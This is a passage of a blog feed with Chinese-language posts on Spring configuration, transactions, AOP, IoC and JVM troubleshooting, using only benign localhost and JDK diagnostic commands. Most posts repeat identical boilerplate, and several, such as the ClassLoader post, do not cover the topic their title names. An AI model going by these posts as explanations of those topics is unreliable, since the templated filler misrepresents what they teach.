        <content type="html"><![CDATA[<h1 id="Spring-Boot-配置分环境的标准做法"><a href="#Spring-Boot-配置分环境的标准做法" class="headerlink" title="Spring Boot 配置分环境的标准做法"></a>Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期按步骤理解"><a href="#Bean-生命周期按步骤理解" class="headerlink" title="Bean 生命周期按步骤理解"></a>Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-事务失效的常见原因"><a href="#Spring-事务失效的常见原因" class="headerlink" title="Spring 事务失效的常见原因"></a>Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-的原理和常见应用"><a href="#Spring-AOP-的原理和常见应用" class="headerlink" title="Spring AOP 的原理和常见应用"></a>Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器到底解决了什么"><a href="#Spring-IoC-容器到底解决了什么" class="headerlink" title="Spring IoC 容器到底解决了什么"></a>Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高如何定位-Java-问题"><a href="#线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="线上 CPU 飙高如何定位 Java 问题"></a>线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志怎么看才有用"><a href="#GC-日志怎么看才有用" class="headerlink" title="GC 日志怎么看才有用"></a>GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域从入门到排查"><a href="#JVM-内存区域从入门到排查" class="headerlink" title="JVM 内存区域从入门到排查"></a>JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span 